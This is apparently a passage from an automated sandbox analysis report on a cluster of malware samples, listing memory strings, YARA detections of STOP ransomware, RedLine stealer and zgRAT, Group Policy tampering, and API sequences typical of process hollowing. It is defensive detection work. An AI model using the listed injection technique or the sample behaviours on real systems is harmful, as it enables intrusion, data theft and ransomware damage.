Source: Zy329tNpRVznAcNUeSg4uGuQ.exe, 0000000A.00000003.2719544361.00000000016E3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: ZMyjNtrJZsXoQ4xLeKYzrWJD.exe, 0000000D.00000003.2426316296.0000000005E14000.00000004.00000020.00020000.00000000.sdmp, ZMyjNtrJZsXoQ4xLeKYzrWJD.exe, 0000000D.00000003.2430728096.0000000005E14000.00000004.00000020.00020000.00000000.sdmp, ZMyjNtrJZsXoQ4xLeKYzrWJD.exe, 0000000D.00000003.2424664556.0000000005E14000.00000004.00000020.00020000.00000000.sdmp, ZMyjNtrJZsXoQ4xLeKYzrWJD.exe, 0000000D.00000003.2421138410.0000000005E14000.00000004.00000020.00020000.00000000.sdmp, ZMyjNtrJZsXoQ4xLeKYzrWJD.exe, 0000000D.00000003.2402668421.0000000005E14000.00000004.00000020.00020000.00000000.sdmp, ZMyjNtrJZsXoQ4xLeKYzrWJD.exe, 0000000D.00000003.2422084353.0000000005E14000.00000004.00000020.00020000.00000000.sdmp, ZMyjNtrJZsXoQ4xLeKYzrWJD.exe, 0000000D.00000003.2425502937.0000000005E14000.00000004.00000020.00020000.00000000.sdmp, ZMyjNtrJZsXoQ4xLeKYzrWJD.exe, 0000000D.00000003.2418069166.0000000005E14000.00000004.00000020.00020000.00000000.sdmp, ZMyjNtrJZsXoQ4xLeKYzrWJD.exe, 0000000D.00000003.2413763621.0000000005E14000.00000004.00000020.00020000.00000000.sdmp, ZMyjNtrJZsXoQ4xLeKYzrWJD.exe, 0000000D.00000003.2412949829.0000000005E14000.00000004.00000020.00020000.00000000.sdmp, ZMyjNtrJZsXoQ4xLeKYzrWJD.exe, 0000000D.00000003.2431897503.0000000005E14000.00000004.00000020.00020000.00000000.sdmp, ZMyjNtrJZsXoQ4xLeKYzrWJD.exe, 0000000D.00000003.2408424299.0000000005E14000.00000004.00000020.00020000.00000000.sdmp, ZMyjNtrJZsXoQ4xLeKYzrWJD.exe, 0000000D.00000003.2411566185.0000000005E14000.00000004.00000020.00020000.00000000.sdmp, ZMyjNtrJZsXoQ4xLeKYzrWJD.exe, 0000000D.00000003.2410219288.0000000005E14000.00000004.00000020.00020000.00000000.sdmp, ZMyjNtrJZsXoQ4xLeKYzrWJD.exe, 0000000D.00000003.2421570227.0000000005E14000.00000004.00000020.00020000.00000000.sdmp, ZMyjNtrJZsXoQ4xLeKYzrWJD.exe, 0000000D.00000003.2415624620.0000000005E14000.00000004.00000020.00020000.00000000.sdmp, ZMyjNtrJZsXoQ4xLeKYzrWJD.exe, 0000000D.00000003.2415199397.0000000005E14000.00000004.00000020.00020000.00000000.sdmp, ZMyjNtrJZsXoQ4xLeKYzrWJD.exe, 0000000D.00000003.2407677153.0000000005E14000.00000004.00000020.00020000.00000000.sdmp, ZMyjNtrJZsXoQ4xLeKYzrWJD.exe, 0000000D.00000003.2430301196.0000000005E14000.00000004.00000020.00020000.00000000.sdmp, ZMyjNtrJZsXoQ4xLeKYzrWJD.exe, 0000000D.00000003.2427111656.0000000005E14000.00000004.00000020.00020000.00000000.sdmp, ZMyjNtrJZsXoQ4xLeKYzrWJD.exe, 0000000D.00000003.2417237959.0000000005E14000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: EPA5EhRzK9ZnpAjdUqLJteUs.exe, 0000000F.00000003.2610251801.0000000001C9D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: ZMyjNtrJZsXoQ4xLeKYzrWJD.exe, 0000000D.00000003.2426316296.0000000005E14000.00000004.00000020.00020000.00000000.sdmp, ZMyjNtrJZsXoQ4xLeKYzrWJD.exe, 0000000D.00000003.2430728096.0000000005E14000.00000004.00000020.00020000.00000000.sdmp, ZMyjNtrJZsXoQ4xLeKYzrWJD.exe, 0000000D.00000003.2424664556.0000000005E14000.00000004.00000020.00020000.00000000.sdmp, ZMyjNtrJZsXoQ4xLeKYzrWJD.exe, 0000000D.00000003.2421138410.0000000005E14000.00000004.00000020.00020000.00000000.sdmp, ZMyjNtrJZsXoQ4xLeKYzrWJD.exe, 0000000D.00000003.2402668421.0000000005E14000.00000004.00000020.00020000.00000000.sdmp, ZMyjNtrJZsXoQ4xLeKYzrWJD.exe, 0000000D.00000003.2422084353.0000000005E14000.00000004.00000020.00020000.00000000.sdmp, ZMyjNtrJZsXoQ4xLeKYzrWJD.exe, 0000000D.00000003.2425502937.0000000005E14000.00000004.00000020.00020000.00000000.sdmp, ZMyjNtrJZsXoQ4xLeKYzrWJD.exe, 0000000D.00000003.2418069166.0000000005E14000.00000004.00000020.00020000.00000000.sdmp, ZMyjNtrJZsXoQ4xLeKYzrWJD.exe, 0000000D.00000003.2413763621.0000000005E14000.00000004.00000020.00020000.00000000.sdmp, ZMyjNtrJZsXoQ4xLeKYzrWJD.exe, 0000000D.00000003.2412949829.0000000005E14000.00000004.00000020.00020000.00000000.sdmp, ZMyjNtrJZsXoQ4xLeKYzrWJD.exe, 0000000D.00000003.2431897503.0000000005E14000.00000004.00000020.00020000.00000000.sdmp, ZMyjNtrJZsXoQ4xLeKYzrWJD.exe, 0000000D.00000003.2408424299.0000000005E14000.00000004.00000020.00020000.00000000.sdmp, ZMyjNtrJZsXoQ4xLeKYzrWJD.exe, 0000000D.00000003.2411566185.0000000005E14000.00000004.00000020.00020000.00000000.sdmp, ZMyjNtrJZsXoQ4xLeKYzrWJD.exe, 0000000D.00000003.2410219288.0000000005E14000.00000004.00000020.00020000.00000000.sdmp, ZMyjNtrJZsXoQ4xLeKYzrWJD.exe, 0000000D.00000003.2421570227.0000000005E14000.00000004.00000020.00020000.00000000.sdmp, ZMyjNtrJZsXoQ4xLeKYzrWJD.exe, 0000000D.00000003.2415624620.0000000005E14000.00000004.00000020.00020000.00000000.sdmp, ZMyjNtrJZsXoQ4xLeKYzrWJD.exe, 0000000D.00000003.2415199397.0000000005E14000.00000004.00000020.00020000.00000000.sdmp, ZMyjNtrJZsXoQ4xLeKYzrWJD.exe, 0000000D.00000003.2407677153.0000000005E14000.00000004.00000020.00020000.00000000.sdmp, ZMyjNtrJZsXoQ4xLeKYzrWJD.exe, 0000000D.00000003.2430301196.0000000005E14000.00000004.00000020.00020000.00000000.sdmp, ZMyjNtrJZsXoQ4xLeKYzrWJD.exe, 0000000D.00000003.2427111656.0000000005E14000.00000004.00000020.00020000.00000000.sdmp, ZMyjNtrJZsXoQ4xLeKYzrWJD.exe, 0000000D.00000003.2417237959.0000000005E14000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/media/img/mozorg/mozilla-256.4720741d4108.jpg
Source: Zy329tNpRVznAcNUeSg4uGuQ.exe, 0000000A.00000003.2719544361.00000000016E3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: ZMyjNtrJZsXoQ4xLeKYzrWJD.exe, 0000000D.00000003.2426316296.0000000005E14000.00000004.00000020.00020000.00000000.sdmp, ZMyjNtrJZsXoQ4xLeKYzrWJD.exe, 0000000D.00000003.2430728096.0000000005E14000.00000004.00000020.00020000.00000000.sdmp, ZMyjNtrJZsXoQ4xLeKYzrWJD.exe, 0000000D.00000003.2424664556.0000000005E14000.00000004.00000020.00020000.00000000.sdmp, ZMyjNtrJZsXoQ4xLeKYzrWJD.exe, 0000000D.00000003.2421138410.0000000005E14000.00000004.00000020.00020000.00000000.sdmp, ZMyjNtrJZsXoQ4xLeKYzrWJD.exe, 0000000D.00000003.2402668421.0000000005E14000.00000004.00000020.00020000.00000000.sdmp, ZMyjNtrJZsXoQ4xLeKYzrWJD.exe, 0000000D.00000003.2422084353.0000000005E14000.00000004.00000020.00020000.00000000.sdmp, ZMyjNtrJZsXoQ4xLeKYzrWJD.exe, 0000000D.00000003.2425502937.0000000005E14000.00000004.00000020.00020000.00000000.sdmp, ZMyjNtrJZsXoQ4xLeKYzrWJD.exe, 0000000D.00000003.2418069166.0000000005E14000.00000004.00000020.00020000.00000000.sdmp, ZMyjNtrJZsXoQ4xLeKYzrWJD.exe, 0000000D.00000003.2413763621.0000000005E14000.00000004.00000020.00020000.00000000.sdmp, ZMyjNtrJZsXoQ4xLeKYzrWJD.exe, 0000000D.00000003.2412949829.0000000005E14000.00000004.00000020.00020000.00000000.sdmp, ZMyjNtrJZsXoQ4xLeKYzrWJD.exe, 0000000D.00000003.2431897503.0000000005E14000.00000004.00000020.00020000.00000000.sdmp, ZMyjNtrJZsXoQ4xLeKYzrWJD.exe, 0000000D.00000003.2408424299.0000000005E14000.00000004.00000020.00020000.00000000.sdmp, ZMyjNtrJZsXoQ4xLeKYzrWJD.exe, 0000000D.00000003.2411566185.0000000005E14000.00000004.00000020.00020000.00000000.sdmp, ZMyjNtrJZsXoQ4xLeKYzrWJD.exe, 0000000D.00000003.2410219288.0000000005E14000.00000004.00000020.00020000.00000000.sdmp, ZMyjNtrJZsXoQ4xLeKYzrWJD.exe, 0000000D.00000003.2421570227.0000000005E14000.00000004.00000020.00020000.00000000.sdmp, ZMyjNtrJZsXoQ4xLeKYzrWJD.exe, 0000000D.00000003.2415624620.0000000005E14000.00000004.00000020.00020000.00000000.sdmp, ZMyjNtrJZsXoQ4xLeKYzrWJD.exe, 0000000D.00000003.2415199397.0000000005E14000.00000004.00000020.00020000.00000000.sdmp, ZMyjNtrJZsXoQ4xLeKYzrWJD.exe, 0000000D.00000003.2407677153.0000000005E14000.00000004.00000020.00020000.00000000.sdmp, ZMyjNtrJZsXoQ4xLeKYzrWJD.exe, 0000000D.00000003.2430301196.0000000005E14000.00000004.00000020.00020000.00000000.sdmp, ZMyjNtrJZsXoQ4xLeKYzrWJD.exe, 0000000D.00000003.2427111656.0000000005E14000.00000004.00000020.00020000.00000000.sdmp, ZMyjNtrJZsXoQ4xLeKYzrWJD.exe, 0000000D.00000003.2417237959.0000000005E14000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: Zy329tNpRVznAcNUeSg4uGuQ.exe, 0000000A.00000003.2719544361.00000000016E3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/irefoxBv
Source: A_22rjVO67ooiUk2ueyL6tMl.exe, 0000000E.00000000.2266197457.0000000000532000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://www.sqlite.org/lang_aggfunc.html
Source: A_22rjVO67ooiUk2ueyL6tMl.exe, 0000000E.00000000.2266197457.0000000000532000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://www.sqlite.org/lang_corefunc.html

Source: Yara match	File source: 0000000C.00000002.2320846713.0000000004210000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: zfQlIB6J8n2u_zLV5LHnA1xW.exe PID: 3920, type: MEMORYSTR

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Temp\TmpAF4.tmp			Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Temp\TmpB24.tmp			Jump to dropped file

Spam, unwanted Advertisements and Ransom Demands

Yara detected Djvu Ransomware

Source: Yara match	File source: 27.2.7U1bGcxK3Lqi_XMHDNEdJrhB.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.7U1bGcxK3Lqi_XMHDNEdJrhB.exe.22115a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.7U1bGcxK3Lqi_XMHDNEdJrhB.exe.22115a0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.7U1bGcxK3Lqi_XMHDNEdJrhB.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000007.00000002.2311839298.0000000002210000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000002.2662012015.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 7U1bGcxK3Lqi_XMHDNEdJrhB.exe PID: 3680, type: MEMORYSTR

System Summary

Malicious sample detected (through community Yara rule)

Source: 26.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables containing potential Windows Defender anti-emulation checks Author: ditekSHen
Source: 9.2.ogoGQsWFwF_EcodN5qF7hiVC.exe.477ac0.1.unpack, type: UNPACKEDPE	Matched rule: Detects executables containing potential Windows Defender anti-emulation checks Author: ditekSHen
Source: 12.2.zfQlIB6J8n2u_zLV5LHnA1xW.exe.4510000.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables containing potential Windows Defender anti-emulation checks Author: ditekSHen
Source: 27.2.7U1bGcxK3Lqi_XMHDNEdJrhB.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 27.2.7U1bGcxK3Lqi_XMHDNEdJrhB.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 41.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects zgRAT Author: ditekSHen
Source: 12.2.zfQlIB6J8n2u_zLV5LHnA1xW.exe.42e7719.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables containing potential Windows Defender anti-emulation checks Author: ditekSHen
Source: 7.2.7U1bGcxK3Lqi_XMHDNEdJrhB.exe.22115a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 7.2.7U1bGcxK3Lqi_XMHDNEdJrhB.exe.22115a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 7.2.7U1bGcxK3Lqi_XMHDNEdJrhB.exe.22115a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 7.2.7U1bGcxK3Lqi_XMHDNEdJrhB.exe.22115a0.1.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 14.2.A_22rjVO67ooiUk2ueyL6tMl.exe.3ce6ff0.8.raw.unpack, type: UNPACKEDPE	Matched rule: Detects zgRAT Author: ditekSHen
Source: 27.2.7U1bGcxK3Lqi_XMHDNEdJrhB.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 27.2.7U1bGcxK3Lqi_XMHDNEdJrhB.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 12.2.zfQlIB6J8n2u_zLV5LHnA1xW.exe.4510000.2.unpack, type: UNPACKEDPE	Matched rule: Detects executables containing potential Windows Defender anti-emulation checks Author: ditekSHen
Source: 12.2.zfQlIB6J8n2u_zLV5LHnA1xW.exe.42e7719.1.unpack, type: UNPACKEDPE	Matched rule: Detects executables containing potential Windows Defender anti-emulation checks Author: ditekSHen
Source: 12.2.zfQlIB6J8n2u_zLV5LHnA1xW.exe.2260000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables containing potential Windows Defender anti-emulation checks Author: ditekSHen
Source: 12.2.zfQlIB6J8n2u_zLV5LHnA1xW.exe.2260000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables containing potential Windows Defender anti-emulation checks Author: ditekSHen
Source: 9.2.ogoGQsWFwF_EcodN5qF7hiVC.exe.450000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables containing potential Windows Defender anti-emulation checks Author: ditekSHen
Source: 9.2.ogoGQsWFwF_EcodN5qF7hiVC.exe.477ac0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables containing potential Windows Defender anti-emulation checks Author: ditekSHen
Source: 14.2.A_22rjVO67ooiUk2ueyL6tMl.exe.3ce6ff0.8.unpack, type: UNPACKEDPE	Matched rule: Detects zgRAT Author: ditekSHen
Source: 00000007.00000002.2311748071.0000000002170000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000007.00000002.2311839298.0000000002210000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 0000001B.00000002.2662012015.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 0000001B.00000002.2662012015.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 0000000C.00000002.2337447194.0000000004510000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects executables containing potential Windows Defender anti-emulation checks Author: ditekSHen
Source: 0000000C.00000002.2317913229.0000000002260000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects executables containing potential Windows Defender anti-emulation checks Author: ditekSHen
Source: Process Memory Space: 7U1bGcxK3Lqi_XMHDNEdJrhB.exe PID: 3680, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown

PE file contains section with special chars

Source: CHA0VZiz8y.exe	Static PE information: section name:
Source: CHA0VZiz8y.exe	Static PE information: section name:
Source: 0YXJTGaxIrryNdvx7SKozTjt.exe.0.dr	Static PE information: section name:
Source: 0YXJTGaxIrryNdvx7SKozTjt.exe.0.dr	Static PE information: section name:
Source: 0YXJTGaxIrryNdvx7SKozTjt.exe.0.dr	Static PE information: section name:
Source: 0YXJTGaxIrryNdvx7SKozTjt.exe.0.dr	Static PE information: section name:

PE file has nameless sections

Source: niko[1].exe.0.dr	Static PE information: section name:
Source: niko[1].exe.0.dr	Static PE information: section name:
Source: niko[1].exe.0.dr	Static PE information: section name:
Source: niko[1].exe.0.dr	Static PE information: section name:
Source: niko[1].exe.0.dr	Static PE information: section name:
Source: niko[1].exe.0.dr	Static PE information: section name:
Source: EPA5EhRzK9ZnpAjdUqLJteUs.exe.0.dr	Static PE information: section name:
Source: EPA5EhRzK9ZnpAjdUqLJteUs.exe.0.dr	Static PE information: section name:
Source: EPA5EhRzK9ZnpAjdUqLJteUs.exe.0.dr	Static PE information: section name:
Source: EPA5EhRzK9ZnpAjdUqLJteUs.exe.0.dr	Static PE information: section name:
Source: EPA5EhRzK9ZnpAjdUqLJteUs.exe.0.dr	Static PE information: section name:
Source: EPA5EhRzK9ZnpAjdUqLJteUs.exe.0.dr	Static PE information: section name:

Source: C:\Users\user\Documents\SimpleAdobe\7U1bGcxK3Lqi_XMHDNEdJrhB.exe	Code function: 7_2_02210110 VirtualAlloc,GetModuleFileNameA,CreateProcessA,VirtualFree,VirtualAlloc,Wow64GetThreadContext,ReadProcessMemory,NtUnmapViewOfSection,VirtualAllocEx,NtWriteVirtualMemory,NtWriteVirtualMemory,WriteProcessMemory,Wow64SetThreadContext,ResumeThread,ExitProcess,	7_2_02210110
Source: C:\Users\user\Documents\SimpleAdobe\zfQlIB6J8n2u_zLV5LHnA1xW.exe	Code function: 12_2_04319B10 NtProtectVirtualMemory,NtProtectVirtualMemory,	12_2_04319B10
Source: C:\Users\user\Documents\SimpleAdobe\zfQlIB6J8n2u_zLV5LHnA1xW.exe	Code function: 12_2_0431A4F0 NtAllocateVirtualMemory,GetTempFileNameA,CreateFileA,WriteFile,CreateProcessA,NtUnmapViewOfSection,VirtualAllocEx,WriteProcessMemory,WriteProcessMemory,Wow64GetThreadContext,Wow64SetThreadContext,ResumeThread,ExitProcess,	12_2_0431A4F0
Source: C:\Users\user\Documents\SimpleAdobe\zfQlIB6J8n2u_zLV5LHnA1xW.exe	Code function: 12_2_04319850 NtCreateFile,CreateFileMappingA,MapViewOfFile,FindCloseChangeNotification,	12_2_04319850

Source: C:\Users\user\Desktop\CHA0VZiz8y.exe	File created: C:\Windows\System32\GroupPolicy\gpt.ini	Jump to behavior
Source: C:\Users\user\Desktop\CHA0VZiz8y.exe	File created: C:\Windows\System32\GroupPolicy\Machine	Jump to behavior
Source: C:\Users\user\Desktop\CHA0VZiz8y.exe	File created: C:\Windows\System32\GroupPolicy\User	Jump to behavior
Source: C:\Users\user\Desktop\CHA0VZiz8y.exe	File created: C:\Windows\System32\GroupPolicy\Machine\Registry.pol	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\0YXJTGaxIrryNdvx7SKozTjt.exe	File created: C:\Windows\SysWOW64\GroupPolicy\gpt.ini

Source: C:\Users\user\Desktop\CHA0VZiz8y.exe	Code function: 0_3_044C4B80	0_3_044C4B80
Source: C:\Users\user\Desktop\CHA0VZiz8y.exe	Code function: 0_3_044C4B80	0_3_044C4B80
Source: C:\Users\user\Desktop\CHA0VZiz8y.exe	Code function: 0_3_044C4B80	0_3_044C4B80
Source: C:\Users\user\Documents\SimpleAdobe\7U1bGcxK3Lqi_XMHDNEdJrhB.exe	Code function: 7_2_0040F86A	7_2_0040F86A
Source: C:\Users\user\Documents\SimpleAdobe\7U1bGcxK3Lqi_XMHDNEdJrhB.exe	Code function: 7_2_00411887	7_2_00411887
Source: C:\Users\user\Documents\SimpleAdobe\7U1bGcxK3Lqi_XMHDNEdJrhB.exe	Code function: 7_2_004039C9	7_2_004039C9
Source: C:\Users\user\Documents\SimpleAdobe\7U1bGcxK3Lqi_XMHDNEdJrhB.exe	Code function: 7_2_0040FDDC	7_2_0040FDDC
Source: C:\Users\user\Documents\SimpleAdobe\7U1bGcxK3Lqi_XMHDNEdJrhB.exe	Code function: 7_2_00410584	7_2_00410584
Source: C:\Users\user\Documents\SimpleAdobe\7U1bGcxK3Lqi_XMHDNEdJrhB.exe	Code function: 7_2_0040F2F8	7_2_0040F2F8
Source: C:\Users\user\Documents\SimpleAdobe\7U1bGcxK3Lqi_XMHDNEdJrhB.exe	Code function: 7_2_00405F5F	7_2_00405F5F
Source: C:\Users\user\Documents\SimpleAdobe\7U1bGcxK3Lqi_XMHDNEdJrhB.exe	Code function: 7_2_0040C7E0	7_2_0040C7E0
Source: C:\Users\user\Documents\SimpleAdobe\7U1bGcxK3Lqi_XMHDNEdJrhB.exe	Code function: 7_2_02217220	7_2_02217220
Source: C:\Users\user\Documents\SimpleAdobe\7U1bGcxK3Lqi_XMHDNEdJrhB.exe	Code function: 7_2_022922C0	7_2_022922C0
Source: C:\Users\user\Documents\SimpleAdobe\7U1bGcxK3Lqi_XMHDNEdJrhB.exe	Code function: 7_2_0225E37C	7_2_0225E37C
Source: C:\Users\user\Documents\SimpleAdobe\7U1bGcxK3Lqi_XMHDNEdJrhB.exe	Code function: 7_2_02217393	7_2_02217393
Source: C:\Users\user\Documents\SimpleAdobe\7U1bGcxK3Lqi_XMHDNEdJrhB.exe	Code function: 7_2_0221A026	7_2_0221A026
Source: C:\Users\user\Documents\SimpleAdobe\7U1bGcxK3Lqi_XMHDNEdJrhB.exe	Code function: 7_2_0222F030	7_2_0222F030
Source: C:\Users\user\Documents\SimpleAdobe\7U1bGcxK3Lqi_XMHDNEdJrhB.exe	Code function: 7_2_0221B000	7_2_0221B000
Source: C:\Users\user\Documents\SimpleAdobe\7U1bGcxK3Lqi_XMHDNEdJrhB.exe	Code function: 7_2_0221B0B0	7_2_0221B0B0
Source: C:\Users\user\Documents\SimpleAdobe\7U1bGcxK3Lqi_XMHDNEdJrhB.exe	Code function: 7_2_022170E0	7_2_022170E0
Source: C:\Users\user\Documents\SimpleAdobe\7U1bGcxK3Lqi_XMHDNEdJrhB.exe	Code function: 7_2_022130F0	7_2_022130F0
Source: C:\Users\user\Documents\SimpleAdobe\7U1bGcxK3Lqi_XMHDNEdJrhB.exe	Code function: 7_2_022200D0	7_2_022200D0
Source: C:\Users\user\Documents\SimpleAdobe\7U1bGcxK3Lqi_XMHDNEdJrhB.exe	Code function: 7_2_02219120	7_2_02219120
Source: C:\Users\user\Documents\SimpleAdobe\7U1bGcxK3Lqi_XMHDNEdJrhB.exe	Code function: 7_2_0225E141	7_2_0225E141
Source: C:\Users\user\Documents\SimpleAdobe\7U1bGcxK3Lqi_XMHDNEdJrhB.exe	Code function: 7_2_0223D1A4	7_2_0223D1A4
Source: C:\Users\user\Documents\SimpleAdobe\7U1bGcxK3Lqi_XMHDNEdJrhB.exe	Code function: 7_2_0221A699	7_2_0221A699
Source: C:\Users\user\Documents\SimpleAdobe\7U1bGcxK3Lqi_XMHDNEdJrhB.exe	Code function: 7_2_0225B69F	7_2_0225B69F
Source: C:\Users\user\Documents\SimpleAdobe\7U1bGcxK3Lqi_XMHDNEdJrhB.exe	Code function: 7_2_0221E6E0	7_2_0221E6E0
Source: C:\Users\user\Documents\SimpleAdobe\7U1bGcxK3Lqi_XMHDNEdJrhB.exe	Code function: 7_2_0221C760	7_2_0221C760
Source: C:\Users\user\Documents\SimpleAdobe\7U1bGcxK3Lqi_XMHDNEdJrhB.exe	Code function: 7_2_0221A79A	7_2_0221A79A
Source: C:\Users\user\Documents\SimpleAdobe\7U1bGcxK3Lqi_XMHDNEdJrhB.exe	Code function: 7_2_0223D7F1	7_2_0223D7F1
Source: C:\Users\user\Documents\SimpleAdobe\7U1bGcxK3Lqi_XMHDNEdJrhB.exe	Code function: 7_2_02213520	7_2_02213520
Source: C:\Users\user\Documents\SimpleAdobe\7U1bGcxK3Lqi_XMHDNEdJrhB.exe	Code function: 7_2_02217520	7_2_02217520
Source: C:\Users\user\Documents\SimpleAdobe\7U1bGcxK3Lqi_XMHDNEdJrhB.exe	Code function: 7_2_0221CA10	7_2_0221CA10
Source: C:\Users\user\Documents\SimpleAdobe\7U1bGcxK3Lqi_XMHDNEdJrhB.exe	Code function: 7_2_02217A80	7_2_02217A80
Source: C:\Users\user\Documents\SimpleAdobe\7U1bGcxK3Lqi_XMHDNEdJrhB.exe	Code function: 7_2_02220B00	7_2_02220B00
Source: C:\Users\user\Documents\SimpleAdobe\7U1bGcxK3Lqi_XMHDNEdJrhB.exe	Code function: 7_2_02212B60	7_2_02212B60
Source: C:\Users\user\Documents\SimpleAdobe\7U1bGcxK3Lqi_XMHDNEdJrhB.exe	Code function: 7_2_0221DBE0	7_2_0221DBE0
Source: C:\Users\user\Documents\SimpleAdobe\7U1bGcxK3Lqi_XMHDNEdJrhB.exe	Code function: 7_2_02217880	7_2_02217880
Source: C:\Users\user\Documents\SimpleAdobe\7U1bGcxK3Lqi_XMHDNEdJrhB.exe	Code function: 7_2_022318D0	7_2_022318D0
Source: C:\Users\user\Documents\SimpleAdobe\7U1bGcxK3Lqi_XMHDNEdJrhB.exe	Code function: 7_2_0221A916	7_2_0221A916
Source: C:\Users\user\Documents\SimpleAdobe\7U1bGcxK3Lqi_XMHDNEdJrhB.exe	Code function: 7_2_0223E9A3	7_2_0223E9A3
Source: C:\Users\user\Documents\SimpleAdobe\7U1bGcxK3Lqi_XMHDNEdJrhB.exe	Code function: 7_2_0223F9B0	7_2_0223F9B0
Source: C:\Users\user\Documents\SimpleAdobe\7U1bGcxK3Lqi_XMHDNEdJrhB.exe	Code function: 7_2_022159F7	7_2_022159F7
Source: C:\Users\user\Documents\SimpleAdobe\7U1bGcxK3Lqi_XMHDNEdJrhB.exe	Code function: 7_2_022189D0	7_2_022189D0
Source: C:\Users\user\Documents\SimpleAdobe\7U1bGcxK3Lqi_XMHDNEdJrhB.exe	Code function: 7_2_02218E60	7_2_02218E60
Source: C:\Users\user\Documents\SimpleAdobe\7U1bGcxK3Lqi_XMHDNEdJrhB.exe	Code function: 7_2_02244E9F	7_2_02244E9F
Source: C:\Users\user\Documents\SimpleAdobe\7U1bGcxK3Lqi_XMHDNEdJrhB.exe	Code function: 7_2_02252D1E	7_2_02252D1E
Source: C:\Users\user\Documents\SimpleAdobe\7U1bGcxK3Lqi_XMHDNEdJrhB.exe	Code function: 7_2_02215DE7	7_2_02215DE7
Source: C:\Users\user\Documents\SimpleAdobe\7U1bGcxK3Lqi_XMHDNEdJrhB.exe	Code function: 7_2_02215DF7	7_2_02215DF7
Source: C:\Users\user\Documents\SimpleAdobe\ogoGQsWFwF_EcodN5qF7hiVC.exe	Code function: 9_2_00466968	9_2_00466968
Source: C:\Users\user\Documents\SimpleAdobe\ogoGQsWFwF_EcodN5qF7hiVC.exe	Code function: 9_2_004633D0	9_2_004633D0
Source: C:\Users\user\Documents\SimpleAdobe\J9jGBSSbDD3yrTx79DzmOLls.exe	Code function: 11_2_00AB6968	11_2_00AB6968
Source: C:\Users\user\Documents\SimpleAdobe\J9jGBSSbDD3yrTx79DzmOLls.exe	Code function: 11_2_00AB33D0	11_2_00AB33D0
Source: C:\Users\user\Documents\SimpleAdobe\zfQlIB6J8n2u_zLV5LHnA1xW.exe	Code function: 12_2_0431AB10	12_2_0431AB10
Source: C:\Users\user\Documents\SimpleAdobe\A_22rjVO67ooiUk2ueyL6tMl.exe	Code function: 14_2_6896B6B0	14_2_6896B6B0
Source: C:\Users\user\Documents\SimpleAdobe\A_22rjVO67ooiUk2ueyL6tMl.exe	Code function: 14_2_68984970	14_2_68984970
Source: C:\Users\user\Documents\SimpleAdobe\A_22rjVO67ooiUk2ueyL6tMl.exe	Code function: 14_2_68984AC0	14_2_68984AC0
Source: C:\Users\user\Documents\SimpleAdobe\A_22rjVO67ooiUk2ueyL6tMl.exe	Code function: 14_2_689B0B89	14_2_689B0B89
